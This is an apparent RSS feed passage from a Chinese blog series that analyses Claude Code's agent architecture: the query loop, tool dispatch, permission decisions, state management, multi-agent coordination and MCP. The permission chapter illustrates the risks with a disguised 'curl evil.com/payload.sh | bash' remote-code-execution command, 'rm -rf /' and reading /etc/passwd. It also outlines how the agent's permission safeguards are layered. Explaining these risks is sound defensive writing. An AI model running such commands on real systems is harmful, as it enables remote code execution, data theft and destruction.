&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;阶段&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：调用&lt;/span&gt; LLM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; message &lt;span style="color:#f92672"&gt;in&lt;/span&gt; streamCallModel(messagesForQuery):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; yield message &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;向外部流式输出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; message&lt;span style="color:#f92672"&gt;.&lt;/span&gt;type &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;assistant&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;收集工具调用块&lt;/span&gt;(message)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;阶段&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：判断是否需要继续&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;无工具调用&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;执行停止钩子检查&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; { reason: &lt;span style="color:#e6db74"&gt;&amp;#39;completed&amp;#39;&lt;/span&gt; } &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;出口&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：正常完成&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;阶段&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：执行工具&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; toolResults &lt;span style="color:#960050;background-color:#1e0010"&gt;←&lt;/span&gt; executeTools(toolUseBlocks)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; yield toolResults
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;阶段&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：检查终止条件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;用户中断&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; { reason: &lt;span style="color:#e6db74"&gt;&amp;#39;aborted&amp;#39;&lt;/span&gt; } &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;出口&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：用户中断&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;超过最大轮次&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; { reason: &lt;span style="color:#e6db74"&gt;&amp;#39;max_turns&amp;#39;&lt;/span&gt; } &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;出口&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：轮次上限&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;阶段&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：组装下一轮输入&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; state&lt;span style="color:#f92672"&gt;.&lt;/span&gt;messages &lt;span style="color:#960050;background-color:#1e0010"&gt;←&lt;/span&gt; [&lt;span style="color:#f92672"&gt;...&lt;/span&gt;messagesForQuery, &lt;span style="color:#f92672"&gt;...&lt;/span&gt;assistantMessages, &lt;span style="color:#f92672"&gt;...&lt;/span&gt;toolResults]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; state&lt;span style="color:#f92672"&gt;.&lt;/span&gt;turnCount&lt;span style="color:#f92672"&gt;++&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个算法有几个值得注意的设计决策：&lt;/p&gt;</description></item><item><title>第5章：工具调度算法</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-05/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-05/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;When a tool is called, the real challenge isn&amp;rsquo;t executing it — it&amp;rsquo;s everything that happens before and after.&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="51-问题引入"&gt;5.1 问题引入&lt;/h2&gt;
&lt;p&gt;当LLM生成一段包含 &lt;code&gt;tool_use&lt;/code&gt; 块的响应——例如&amp;quot;我需要读取文件 &lt;code&gt;src/main.ts&lt;/code&gt;&amp;quot;——系统面临一连串精密的调度决策：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;工具发现&lt;/strong&gt;：从40余个注册工具中，根据名称（或别名）精确定位到 &lt;code&gt;FileReadTool&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;输入验证&lt;/strong&gt;：用 Zod Schema 验证 LLM 生成的参数是否合法——模型并不总能生成正确的类型；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权限裁决&lt;/strong&gt;：经过 PreToolUse Hook → 规则匹配 → 分类器 → 用户交互 的多级权限链，决定是否允许执行；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;并发编排&lt;/strong&gt;：如果 LLM 同时请求了5次文件读取和1次写入，系统需要判断哪些可以并行、哪些必须串行；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;流式执行&lt;/strong&gt;：工具在执行过程中通过 AsyncGenerator 逐步报告进度，而非等到完成才返回；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果注入&lt;/strong&gt;：将工具执行结果编排为 &lt;code&gt;tool_result&lt;/code&gt; 消息，按正确顺序注入回消息流，形成下一轮对话的上下文；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;推测执行&lt;/strong&gt;：在用户还未确认提示建议时，系统就在后台预执行可能的工具调用，以减少端到端延迟。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这不是一个简单的&amp;quot;查表→调用→返回&amp;quot;的过程。它是一个涉及并发控制、流式处理、权限安全、容错回退的完整调度系统。本章将逐一拆解这些算法。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="52-工具注册与发现算法"&gt;5.2 工具注册与发现算法&lt;/h2&gt;
&lt;h3 id="521-注册表的构建"&gt;5.2.1 注册表的构建&lt;/h3&gt;
&lt;p&gt;Claude Code 的工具注册采用&lt;strong&gt;静态声明 + 动态过滤&lt;/strong&gt;的两阶段模型。所有工具在 &lt;code&gt;src/tools.ts&lt;/code&gt; 中被集中声明，形成一个&amp;quot;全量工具池&amp;quot;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;源码位置：&lt;/span&gt;src&lt;span style="color:#f92672"&gt;/&lt;/span&gt;tools&lt;span style="color:#f92672"&gt;.&lt;/span&gt;ts &lt;span style="color:#960050;background-color:#1e0010"&gt;—&lt;/span&gt; getAllBaseTools()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;function getAllBaseTools() -&amp;gt; Tool[]:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; baseTools = [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; AgentTool, BashTool, FileReadTool, FileEditTool,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; FileWriteTool, GlobTool, GrepTool, WebFetchTool,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; WebSearchTool, NotebookEditTool, ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; // 特性门控：根据环境变量和 feature flag 动态注入
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; if feature(&amp;#39;AGENT_TRIGGERS&amp;#39;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; baseTools.append(CronCreateTool, CronDeleteTool, CronListTool)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; if isWorktreeModeEnabled():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; baseTools.append(EnterWorktreeTool, ExitWorktreeTool)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; if isToolSearchEnabledOptimistic():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; baseTools.append(ToolSearchTool)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; // ... 更多条件注入
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; return baseTools
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;关键设计决策有三个：&lt;/p&gt;</description></item><item><title>第6章 权限决策算法</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-06/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-06/</guid><description>&lt;h2 id="61-问题引入当-ai-获得了执行-shell-命令的能力"&gt;6.1 问题引入：当 AI 获得了执行 Shell 命令的能力&lt;/h2&gt;
&lt;p&gt;想象一个场景：你让 AI 助手帮你整理项目目录。它需要执行 &lt;code&gt;rm&lt;/code&gt; 命令删除临时文件、执行 &lt;code&gt;mv&lt;/code&gt; 命令重命名文件、执行 &lt;code&gt;sed&lt;/code&gt; 命令批量修改内容。这些操作本身无害，但同一个 &lt;code&gt;rm&lt;/code&gt; 命令，参数从 &lt;code&gt;rm ./tmp/*.log&lt;/code&gt; 变成 &lt;code&gt;rm -rf /&lt;/code&gt;，后果就是灾难性的。&lt;/p&gt;
&lt;p&gt;一个拥有 Shell 执行能力的 AI Agent，本质上获得了与用户等同的系统操作权限。它可以读取 &lt;code&gt;/etc/passwd&lt;/code&gt;，可以通过 &lt;code&gt;curl&lt;/code&gt; 将敏感数据发送到外部服务器，可以通过 &lt;code&gt;git push --force&lt;/code&gt; 覆盖远程仓库的历史。更隐蔽的是，恶意指令可能被藏在看似无害的命令中——&lt;code&gt;cd /tmp &amp;amp;&amp;amp; $(curl evil.com/payload.sh | bash)&lt;/code&gt; 表面上只是切换目录，实际上隐藏了一个远程代码执行。&lt;/p&gt;
&lt;p&gt;Claude Code 面对的核心挑战是：&lt;strong&gt;如何在保持工具可用性的同时，建立一套可靠的安全边界？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这不是一个简单的黑白名单问题。用户可能需要 &lt;code&gt;npm install&lt;/code&gt; 但不需要 &lt;code&gt;npm publish&lt;/code&gt;；可能需要 &lt;code&gt;git commit&lt;/code&gt; 但不需要 &lt;code&gt;git push --force&lt;/code&gt;；可能需要在项目目录内执行任意文件操作，但不应该触及 &lt;code&gt;~/.ssh/&lt;/code&gt; 或 &lt;code&gt;.git/config&lt;/code&gt;。权限决策必须是&lt;strong&gt;细粒度&lt;/strong&gt;的、&lt;strong&gt;上下文感知&lt;/strong&gt;的、&lt;strong&gt;多层防御&lt;/strong&gt;的。&lt;/p&gt;
&lt;p&gt;本章将深入 Claude Code 的权限系统源码，剖析其多层决策树算法、规则匹配引擎、AST 静态安全分析、AI 分类器协同决策等核心算法思想。&lt;/p&gt;
&lt;h2 id="62-权限模式状态机"&gt;6.2 权限模式状态机&lt;/h2&gt;
&lt;h3 id="621-六种权限模式"&gt;6.2.1 六种权限模式&lt;/h3&gt;
&lt;p&gt;Claude Code 定义了一组权限模式（Permission Mode），每种模式代表一种安全策略姿态。从源码 &lt;code&gt;types/permissions.ts&lt;/code&gt; 中可以看到：&lt;/p&gt;</description></item><item><title>第7章：状态管理算法</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-07/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-07/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;程序的本质就是状态与状态之间的转换。&amp;rdquo; —— Edsger W. Dijkstra&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="71-问题引入百态纷呈的-agent-系统"&gt;7.1 问题引入：百态纷呈的 Agent 系统&lt;/h2&gt;
&lt;p&gt;想象一个拥有超过 100 个状态属性的 AI Agent 系统。它需要同时管理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;对话历史&lt;/strong&gt;：数十轮多模态消息，包含用户输入、模型回复、工具调用结果&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工具权限&lt;/strong&gt;：每个工具的授权模式（允许、拒绝、询问），可在运行时动态变更&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用户配置&lt;/strong&gt;：来自用户设置、项目设置、企业策略、命令行参数等多层级配置源&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UI 状态&lt;/strong&gt;：展开/折叠视图、模型选择、通知队列、输入提示等&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;任务状态&lt;/strong&gt;：后台任务的生命周期、子 Agent 的运行状态、团队协作信息&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;会话元数据&lt;/strong&gt;：会话 ID、权限模式、远程连接状态、推测执行状态&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当多个组件同时读写这些状态时，如何确保变更可预测、不产生副作用？当配置文件在磁盘上被外部修改时，如何实时感知并正确合并？当会话中断后恢复时，如何从持久化的日志中重建完整状态？&lt;/p&gt;
&lt;p&gt;这些问题的本质是一个经典的工程挑战：&lt;strong&gt;在复杂系统中实现可预测的状态管理&lt;/strong&gt;。Claude Code 源码为我们展示了一套精巧的解决方案——它融合了不可变状态机、发布-订阅、选择器订阅、层级合并、事件溯源等多种算法思想，构建了一个既高效又可靠的状态管理体系。&lt;/p&gt;
&lt;h2 id="72-算法思想"&gt;7.2 算法思想&lt;/h2&gt;
&lt;h3 id="721-不可变状态机算法"&gt;7.2.1 不可变状态机算法&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;核心原则：状态只能通过纯函数转换，旧状态永不修改。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不可变状态机的思想源自函数式编程：给定当前状态 S 和一个转换函数 f，新状态 S&amp;rsquo; = f(S)。旧状态 S 在转换过程中不被修改，它依然可以被引用和比较。这一原则带来三大好处：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;变更检测极其廉价&lt;/strong&gt;——只需 &lt;code&gt;Object.is(prev, next)&lt;/code&gt; 即可判断是否发生变更，时间复杂度 O(1)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不存在并发修改的竞态条件&lt;/strong&gt;——因为没有人能修改已经发出的状态快照&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;天然支持时间旅行&lt;/strong&gt;——旧状态快照可以保留，用于调试或回溯&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Claude Code 在类型层面通过 &lt;code&gt;DeepImmutable&amp;lt;T&amp;gt;&lt;/code&gt; 泛型强制保证不可变性。AppState 的核心字段被 &lt;code&gt;DeepImmutable&lt;/code&gt; 包裹，编译器会阻止任何对深层属性的直接赋值。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;类型层面的不可变保证&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;type AppState &lt;span style="color:#f92672"&gt;=&lt;/span&gt; DeepImmutable&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; settings: SettingsJson
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; verbose: boolean
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mainLoopModel: ModelSetting
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; toolPermissionContext: ToolPermissionContext
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;字段&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;少数包含函数类型的字段排除在&lt;/span&gt; DeepImmutable &lt;span style="color:#960050;background-color:#1e0010"&gt;之外&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tasks: { [taskId: string]: TaskState }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mcp: { clients: MCPServerConnection[]; tools: Tool[]; &lt;span style="color:#f92672"&gt;...&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;注意 &lt;code&gt;DeepImmutable&lt;/code&gt; 与交叉类型 &lt;code&gt;&amp;amp;&lt;/code&gt; 的组合使用：核心配置字段（settings、verbose、权限上下文等）被严格冻结；而包含回调函数或可变引用的字段（tasks、mcp）则排除在外。这是&lt;strong&gt;实用主义的不可变性&lt;/strong&gt;——在类型安全和运行时灵活性之间取得平衡。&lt;/p&gt;</description></item><item><title>第8章 多 Agent 协调算法</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-08/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-08/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;任何足够复杂的 AI 系统，最终都会重新发明操作系统。&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当一个 Agent 面对庞大的代码库需要同时研究架构、修改代码、运行测试时，单一上下文窗口的局限性就会暴露无遗。Claude Code 的回答不是让单个 Agent 变得更强，而是让多个 Agent 协作——如同一个工程团队，各司其职，并行推进。&lt;/p&gt;
&lt;p&gt;本章深入分析 Claude Code 的多 Agent 协调架构，从最基础的父子 Agent 派生，到 Coordinator 中心调度模式，再到 Swarm 去中心化协作，揭示这些算法背后的核心设计思想。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="81-问题引入为什么需要多-agent"&gt;8.1 问题引入：为什么需要多 Agent？&lt;/h2&gt;
&lt;p&gt;考虑一个典型场景：用户要求&amp;quot;修复认证模块中的空指针异常&amp;quot;。一个优秀的 Agent 需要：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;研究阶段&lt;/strong&gt;：搜索代码库找到相关文件，理解类型定义，分析调用链&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;实现阶段&lt;/strong&gt;：修改代码，添加空值检查&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;验证阶段&lt;/strong&gt;：运行测试，检查类型，确保不引入新问题&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;单个 Agent 执行这些步骤意味着上下文窗口中充斥着大量搜索结果和中间产物，导致两个核心问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;上下文污染&lt;/strong&gt;：研究阶段产生的探索性信息会干扰实现阶段的决策精度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;串行瓶颈&lt;/strong&gt;：研究代码结构和研究测试覆盖本可以并行进行，却只能排队执行&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Claude Code 的解决方案是&lt;strong&gt;任务分解与并行执行&lt;/strong&gt;——将复杂任务拆分为独立的子任务，由专门的子 Agent 并行完成，最终汇总结果。这种设计需要回答三个核心问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;如何派生子 Agent 并传递恰当的上下文？&lt;/li&gt;
&lt;li&gt;如何在多个 Agent 之间协调任务、同步状态？&lt;/li&gt;
&lt;li&gt;如何保证资源隔离，避免 Agent 之间互相干扰？&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id="82-agent-派生算法"&gt;8.2 Agent 派生算法&lt;/h2&gt;
&lt;h3 id="821-agenttool派生的入口"&gt;8.2.1 AgentTool：派生的入口&lt;/h3&gt;
&lt;p&gt;在 Claude Code 中，一切 Agent 派生都始于 &lt;code&gt;AgentTool&lt;/code&gt;。当主 Agent（父 Agent）决定需要子 Agent 协助时，它会调用 AgentTool 工具，指定子 Agent 的类型、任务描述和所需的 prompt。&lt;/p&gt;</description></item><item><title>第9章 MCP 协议与通信算法</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-09/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-09/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;任何足够先进的抽象，都不可与协议区分。&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;一个智能 Agent 的能力上限，不在于它的模型有多强大，而在于它能与多少外部系统有效协作。Claude Code 通过 MCP（Model Context Protocol）协议，将数据库、API、文件系统、IDE、浏览器乃至 SaaS 服务，统一纳入 Agent 的工具可达边界。本章将深入 MCP 协议的设计思想，逐层剖析连接建立、能力发现、传输选择、认证流程、交互式授权以及资源截断等核心算法。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="91-问题引入agent-通信的统一协议挑战"&gt;9.1 问题引入：Agent 通信的统一协议挑战&lt;/h2&gt;
&lt;p&gt;现代 AI Agent 面临一个根本性的通信难题：它需要与形态各异的外部服务交互——本地命令行工具通过 stdin/stdout 对话，远程 API 通过 HTTP 请求访问，IDE 通过 WebSocket 推送事件，SaaS 服务需要 OAuth 认证后才能调用。如果为每种服务编写专用的通信逻辑，系统复杂度将随服务数量呈组合爆炸式增长。&lt;/p&gt;
&lt;p&gt;MCP 协议正是为解决此问题而设计的。它定义了一套标准化的客户端-服务端交互规范，使 Agent 能够以统一的方式发现、连接、调用任意外部服务。从 Claude Code 的源码中，我们可以提炼出 MCP 协议的七个核心算法问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;连接建立&lt;/strong&gt;：如何在多种传输层之上建立标准化连接？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;能力协商&lt;/strong&gt;：客户端与服务端如何互相声明和发现功能？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;传输选择&lt;/strong&gt;：如何为不同场景选择最优的传输层？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生命周期管理&lt;/strong&gt;：如何处理连接的缓存、超时、断开与重连？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OAuth 认证&lt;/strong&gt;：如何安全地完成浏览器重定向认证流程？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;交互式授权&lt;/strong&gt;（Elicitation）：服务端需要用户输入时如何发起交互？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;资源截断&lt;/strong&gt;：大型工具输出如何智能截断以适应上下文窗口？&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id="92-传输层选择算法"&gt;9.2 传输层选择算法&lt;/h2&gt;
&lt;h3 id="921-多传输层架构"&gt;9.2.1 多传输层架构&lt;/h3&gt;
&lt;p&gt;Claude Code 支持的传输类型在 &lt;code&gt;types.ts&lt;/code&gt; 中通过 Zod Schema 严格定义：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-typescript" data-lang="typescript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;TransportSchema&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;z&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;enum&lt;/span&gt;([
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;stdio&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// 本地子进程通信
